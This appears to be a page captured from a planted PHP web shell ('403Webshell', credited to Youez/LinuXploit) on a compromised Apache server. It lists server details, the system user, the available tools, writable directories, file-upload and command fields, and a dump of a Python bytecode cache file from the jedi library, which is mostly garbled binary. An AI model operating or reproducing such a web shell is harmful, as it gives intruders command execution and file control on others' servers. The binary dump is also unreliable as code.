403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/jedi/inference/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/jedi/inference/__pycache__/cache.cpython-311.pyc
�

p�{c_���dZddlmZddlmZe��Ze��Zeddfd�Zefd�Z	efd�Z
d�ZGd	�d
e��Z
d�ZdS)
z�
- the popular ``_memoize_default`` works like a typical memoize and returns the
  default otherwise.
- ``CachedMetaClass`` uses ``_memoize_default`` to do the same with classes.
���wraps)�debugFc��������fd�}|S)aO This is a typical memoization decorator, BUT there is one difference:
    To prevent recursion it sets defaults.

    Preventing recursion is in this case the much bigger use than speed. I
    don't think, that there is a big speed difference, but there are many cases
    where recursion could happen (think about a = b; b = a).
    c��������fd�}|S)Nc�4���	r|j}n�
r|dj}n|jj}	|�}n#t$r
ix|�<}YnwxYw||t|�����f}||vr||S�t
ur�||<�|g|�Ri|��}|||<|S)Nr)�
memoize_cache�inference_state�KeyError�	frozenset�items�_NO_DEFAULT)�obj�args�kwargs�cache�memo�key�rv�default�function�inference_state_is_first_arg�second_arg_is_inference_states       �����6/usr/lib/python3/dist-packages/jedi/inference/cache.py�wrapperz/_memoize_default.<locals>.func.<locals>.wrappers����+�
:��)���.�
:��Q��-����+�9��
,��X������
,�
,�
,�)+�+��h��$�$�$�
,������i������7�7�8�C��d�{�{��C�y� ��+�-�-� '�D��I��X�c�3�D�3�3�3�F�3�3����S�	��	s�2�A�A�)rrrrrs` ���r�funcz_memoize_default.<locals>.funcs3����	�	�	�	�	�	�	�	�.��r)rrrrs``` r�_memoize_defaultrs/������������4�Krc����fd�}|S)Nc�8��t�d���|��S)NT)rr�r�rrs �r�	decoratorz1inference_state_function_cache.<locals>.decorator5s"���S���d�S�S�S�TX�Y�Y�Yrr�rr$s` r�inference_state_function_cacher&4s)���Z�Z�Z�Z�Z��rc����fd�}|S)Nc�6��t����|��S)N)rr"r#s �rr$z/inference_state_method_cache.<locals>.decorator<s���0���0�0�0��6�6�6rrr%s` r�inference_state_method_cacher);s$���7�7�7�7�7��rc��d�}|S)Nc�4�td���|��S)NT)rr")�calls rr$z8inference_state_as_method_param_cache.<locals>.decoratorCs��C��d�C�C�C�D�I�I�Irr)r$s r�%inference_state_as_method_param_cacher-Bs��J�J�J��rc�B��eZdZdZe���fd���Z�xZS)�CachedMetaClassz�
    This is basically almost the same than the decorator above, it just caches
    class initializations. Either you do it this way or with decorators, but
    with decorators you lose class access (isinstance, etc).
    c�6��t��j|i|��S)N)�super�__call__)�selfrr�	__class__s   �rr2zCachedMetaClass.__call__Os����u�w�w���0��0�0�0r)�__name__�
__module__�__qualname__�__doc__r-r2�
__classcell__)r4s@rr/r/IsX���������
+�*�,�,�1�1�1�1�-�,�1�1�1�1�1rr/c��d�}|S)z�
    This is a special memoizer. It memoizes generators and also checks for
    recursion errors and returns no further iterator elemends in that case.
    c�<��t����fd���}|S)Nc?��K�|jj}	|�
}n#t$r
ix|�
<}YnwxYw||t|�����f}||vr||\}}n�
|g|�Ri|��}g}||f||<d}		||}	|	t
urt
jd|z��dSnX#t$rK|�	t
��t|d��}	|	�|���YdS|	|d<YnwxYw|	V�|dz
}��)NrTz"Found a generator recursion for %s����)r
r	rrr
�_RECURSION_SENTINELr�warning�
IndexError�append�next�pop)rrrrrr�actual_generator�
cached_lst�i�next_elementrs          �rrzEinference_state_method_generator_cache.<locals>.func.<locals>.wrapperZs�������'�5�E�
,��X������
,�
,�
,�)+�+��h��$�$�$�
,������i������7�7�8�C��d�{�{�/3�C�y�,� �*�*�#+�8�C�#A�$�#A�#A�#A�&�#A�#A� ��
�,�j�8��S�	��A�
�2�#-�a�=�L�#�':�:�:��
�&J�S�&P�Q�Q�Q���;��"�2�2�2��%�%�&9�:�:�:�#'�(8�$�#?�#?�L�#�+�"���(�(�(����%1�J�r�N�N�N�
2����#�"�"�"��Q���
s%��.�.�>(B)�)A
C>�6C>�=C>r)rrs` rrz4inference_state_method_generator_cache.<locals>.funcYs4���	�x��� 	� 	� 	� 	�
�� 	�B�rr)rs r�&inference_state_method_generator_cacherITs��
#�#�#�J�KrN)r8�	functoolsr�jedir�objectrr?rr&r)r-�typer/rIrrr�<module>rNs�����
�������������f�h�h���f�h�h��)�u�38�#�#�#�#�L,7�����*5��������1�1�1�1�1�d�1�1�1�*�*�*�*�*r

Youez - 2016 - github.com/yon3zu
LinuXploit